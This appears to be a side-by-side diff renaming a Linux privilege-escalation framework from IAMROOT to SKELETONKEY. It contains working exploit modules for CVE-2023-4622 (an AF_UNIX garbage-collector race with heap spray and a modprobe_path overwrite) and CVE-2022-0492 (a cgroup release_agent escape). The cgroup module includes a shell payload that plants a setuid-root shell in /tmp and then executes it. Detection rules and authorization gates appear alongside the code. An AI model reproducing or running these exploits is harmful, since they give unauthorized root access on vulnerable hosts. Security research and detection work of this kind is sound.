Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
5.15.130 / 6.1.51 / 6.5.0. 5.15.130 / 6.1.51 / 6.5.0.
## IAMROOT role ## SKELETONKEY role
**Widest deployment of any module in the corpus** — bug present **Widest deployment of any module in the corpus** — bug present
in every Linux kernel below the fix (back to ~2.0 era). in every Linux kernel below the fix (back to ~2.0 era).
@@ -1,12 +0,0 @@
/*
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
*/
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
#define AF_UNIX_GC_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_unix_gc_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* af_unix_gc_cve_2023_4622 IAMROOT module * af_unix_gc_cve_2023_4622 SKELETONKEY module
* *
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks * AF_UNIX garbage collector race UAF. The unix_gc() collector walks
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can * the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
@@ -55,7 +55,7 @@
* carries the widest version range of any module we ship. * carries the widest version range of any module we ship.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -127,12 +127,12 @@ static bool can_create_af_unix(void)
return true; return true;
} }
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n"); fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* No lower bound: this bug has been in the AF_UNIX GC path since /* No lower bound: this bug has been in the AF_UNIX GC path since
@@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release); fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */ /* Reachability probe — socket(AF_UNIX, ...) must succeed. */
@@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — " fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
"exotic seccomp/sandbox, bug unreachable here\n"); "exotic seccomp/sandbox, bug unreachable here\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
" creatable). The race window is microseconds wide and\n" " creatable). The race window is microseconds wide and\n"
" needs thousands of iterations to win on average.\n"); " needs thousands of iterations to win on average.\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Race-driver state ------------------------------------------- */ /* ---- Race-driver state ------------------------------------------- */
@@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
memset(&p, 0, sizeof p); memset(&p, 0, sizeof p);
p.mtype = 0x55; /* 'U' — unix */ p.mtype = 0x55; /* 'U' — unix */
memset(p.buf, 0x55, sizeof p.buf); memset(p.buf, 0x55, sizeof p.buf);
memcpy(p.buf, "IAMROOTU", 8); memcpy(p.buf, "SKELETONKEYU", 8);
int created = 0; int created = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) { for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
@@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */ /* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
{ {
/* 1. Refuse-gate: re-call detect() and short-circuit. */ /* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = af_unix_gc_detect(ctx); skeletonkey_result_t pre = af_unix_gc_detect(ctx);
if (pre == IAMROOT_OK) { if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n"); fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n"); fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If /* Full-chain pre-check: resolve offsets BEFORE the race fork. If
* modprobe_path is unresolvable we refuse here rather than running * modprobe_path is unresolvable we refuse here rather than running
* a 30 s race that has no finisher to call. */ * a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false; bool full_chain_ready = false;
if (ctx->full_chain) { if (ctx->full_chain) {
memset(&off, 0, sizeof off); memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off); skeletonkey_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_unix_gc"); skeletonkey_finisher_print_offset_help("af_unix_gc");
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but " fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n"); "modprobe_path offset unresolved; refusing\n");
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n" fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
" a small fraction per run — see module header.\n"); " a small fraction per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
full_chain_ready = true; full_chain_ready = true;
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n" fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
" to %d s. RELIABILITY remains race-dependent on a real\n" " to %d s. RELIABILITY remains race-dependent on a real\n"
@@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
signal(SIGPIPE, SIG_IGN); signal(SIGPIPE, SIG_IGN);
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads /* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
@@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
uint64_t a_errs = atomic_load(&g_thread_a_errs); uint64_t a_errs = atomic_load(&g_thread_a_errs);
/* 4. Empirical witness breadcrumb. */ /* 4. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w"); FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
if (log) { if (log) {
fprintf(log, fprintf(log,
"af_unix_gc race harness (CVE-2023-4622):\n" "af_unix_gc race harness (CVE-2023-4622):\n"
@@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
.n_queues = AFUG_SPRAY_QUEUES, .n_queues = AFUG_SPRAY_QUEUES,
.arb_calls = 0, .arb_calls = 0,
}; };
int fr = iamroot_finisher_modprobe_path(&off, int fr = skeletonkey_finisher_modprobe_path(&off,
af_unix_gc_arb_write, af_unix_gc_arb_write,
&arb_ctx, &arb_ctx,
!ctx->no_shell); !ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a"); FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
if (fl) { if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n", fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls); fr, arb_ctx.arb_calls);
fclose(fl); fclose(fl);
} }
drain_kmalloc_512(queues); drain_kmalloc_512(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */ if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */ _exit(35); /* finisher ran, no land */
} }
@@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
/* PARENT */ /* PARENT */
int status = 0; int status = 0;
pid_t w = waitpid(child, &status, 0); pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; } if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) { if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status); int sig = WTERMSIG(status);
@@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
"(consistent with UAF firing under KASAN)\n", sig); "(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n" fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n" " overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n"); " See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!WIFEXITED(status)) { if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n", fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
status); status);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rc = WEXITSTATUS(status); int rc = WEXITSTATUS(status);
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL; if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 34) { if (rc == 34) {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported " fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n"); "EXPLOIT_OK (race won + write landed)\n");
} }
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
if (rc == 35) { if (rc == 35) {
if (!ctx->json) { if (!ctx->json) {
@@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" win + land within budget (expected outcome on most\n" " win + land within budget (expected outcome on most\n"
" runs — race wins are a fraction of a percent).\n"); " runs — race wins are a fraction of a percent).\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (rc != 30) { if (rc != 30) {
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc); fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" implemented (per-kernel offsets; see module .c TODO\n" " implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n"); " blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
#endif /* __linux__ */ #endif /* __linux__ */
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->authorized) { if (!ctx->authorized) {
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n"); fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
#ifdef __linux__ #ifdef __linux__
return af_unix_gc_exploit_linux(ctx); return af_unix_gc_exploit_linux(ctx);
#else #else
(void)ctx; (void)ctx;
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n"); fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#endif #endif
} }
/* ---- Cleanup ----------------------------------------------------- */ /* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n"); fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
} }
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) { if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
/* harmless */ /* harmless */
} }
/* Race threads + msg queues live inside the now-exited child; /* Race threads + msg queues live inside the now-exited child;
* nothing else to drain. */ * nothing else to drain. */
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* ---- Detection rules --------------------------------------------- */ /* ---- Detection rules --------------------------------------------- */
@@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] =
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n" "# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
"# benign — flag the *frequency* by correlating these keys with a\n" "# benign — flag the *frequency* by correlating these keys with a\n"
"# subsequent KASAN message in dmesg.\n" "# subsequent KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n" "-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n" "-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n"; "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
const struct iamroot_module af_unix_gc_module = { const struct skeletonkey_module af_unix_gc_module = {
.name = "af_unix_gc", .name = "af_unix_gc",
.cve = "CVE-2023-4622", .cve = "CVE-2023-4622",
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF", .summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
@@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_af_unix_gc(void) void skeletonkey_register_af_unix_gc(void)
{ {
iamroot_register(&af_unix_gc_module); skeletonkey_register(&af_unix_gc_module);
} }
@@ -0,0 +1,12 @@
/*
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
*/
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_unix_gc_module;
#endif
@@ -16,7 +16,7 @@ Original writeup:
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022). Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
## IAMROOT role ## SKELETONKEY role
**Universal structural exploit — no per-kernel offsets, no race.** **Universal structural exploit — no per-kernel offsets, no race.**
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller, unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
@@ -1,12 +0,0 @@
/*
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cgroup_release_agent_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* cgroup_release_agent_cve_2022_0492 IAMROOT module * cgroup_release_agent_cve_2022_0492 SKELETONKEY module
* *
* cgroup v1 release_agent file is checked only for "is the writer * cgroup v1 release_agent file is checked only for "is the writer
* root in the cgroup namespace" — NOT "is the writer root in the * root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,7 +36,7 @@
* exposure even if all the fancy heap-spray bugs are patched. * exposure even if all the fancy heap-spray bugs are patched.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0; return WIFEXITED(status) && WEXITSTATUS(status) == 0;
} }
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n"); fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v); bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release); fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns_mount(); int userns_ok = can_unshare_userns_mount();
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n"); fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n"); fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n"); fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Exploit ----------------------------------------------------- /* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static const char PAYLOAD_SHELL[] = static const char PAYLOAD_SHELL[] =
"#!/bin/sh\n" "#!/bin/sh\n"
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n" "# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/iamroot-cgroup-pwned\n" "id > /tmp/skeletonkey-cgroup-pwned\n"
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n" "chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n" "cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n" "chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n"; "chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
static bool write_file(const char *path, const char *content) static bool write_file(const char *path, const char *content)
{ {
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
return ok; return ok;
} }
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{ {
iamroot_result_t pre = cgroup_ra_detect(ctx); skeletonkey_result_t pre = cgroup_ra_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] cgroup_release_agent: already root\n"); fprintf(stderr, "[i] cgroup_release_agent: already root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Drop the setuid-root-shell payload to a path we can read+exec /* Drop the setuid-root-shell payload to a path we can read+exec
* later. Payload runs as host root when the cgroup is released. */ * later. Payload runs as host root when the cgroup is released. */
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh"; const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
if (!write_file(payload_path, PAYLOAD_SHELL)) { if (!write_file(payload_path, PAYLOAD_SHELL)) {
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
chmod(payload_path, 0755); chmod(payload_path, 0755);
if (!ctx->json) { if (!ctx->json) {
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Fork: child does the exploit; parent waits then verifies + execs /* Fork: child does the exploit; parent waits then verifies + execs
* the setuid shell we expect the payload to plant. */ * the setuid shell we expect the payload to plant. */
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* CHILD: enter userns + mountns, become "root" in userns. */ /* CHILD: enter userns + mountns, become "root" in userns. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); } if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Mount cgroup v1 (rdma controller — small, simple, works /* Mount cgroup v1 (rdma controller — small, simple, works
* even on cgroup-v2-first systems). */ * even on cgroup-v2-first systems). */
const char *cgmount = "/tmp/iamroot-cgroup-mnt"; const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
mkdir(cgmount, 0700); mkdir(cgmount, 0700);
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) { if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
/* Fallback: try memory controller — needs different reach */ /* Fallback: try memory controller — needs different reach */
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
* Buffers sized generously vs. cgmount template + "/notify_on_release" * Buffers sized generously vs. cgmount template + "/notify_on_release"
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */ * tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
char cgdir[384]; char cgdir[384];
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount); snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
mkdir(cgdir, 0755); mkdir(cgdir, 0755);
/* Write release_agent in the ROOT of the controller (must be /* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
"polling for payload execution\n", status); "polling for payload execution\n", status);
} }
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for /* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
* its appearance + setuid bit. Up to 5 seconds. */ * its appearance + setuid bit. Up to 5 seconds. */
const char *setuid_sh = "/tmp/iamroot-cgroup-sh"; const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
bool got_root = false; bool got_root = false;
for (int i = 0; i < 50; i++) { for (int i = 0; i < 50; i++) {
struct stat st; struct stat st;
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. " fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
"Likely patched or cgroup-controller-blocked.\n"); "Likely patched or cgroup-controller-blocked.\n");
unlink(payload_path); unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) { if (ctx->no_shell) {
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n"); fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
unlink(payload_path); unlink(payload_path);
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh); fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
fflush(NULL); fflush(NULL);
execl(setuid_sh, "sh", "-p", (char *)NULL); execl(setuid_sh, "sh", "-p", (char *)NULL);
perror("execl"); perror("execl");
unlink(payload_path); unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n"); fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
} }
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh " if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ } "/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; " if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ } "rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
static const char cgroup_ra_auditd[] = static const char cgroup_ra_auditd[] =
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n" "# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n" "# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n" "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n"; "-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
static const char cgroup_ra_sigma[] = static const char cgroup_ra_sigma[] =
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n" "title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
"id: 5c84a37e-iamroot-cgroup-ra\n" "id: 5c84a37e-skeletonkey-cgroup-ra\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n" " Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
"level: high\n" "level: high\n"
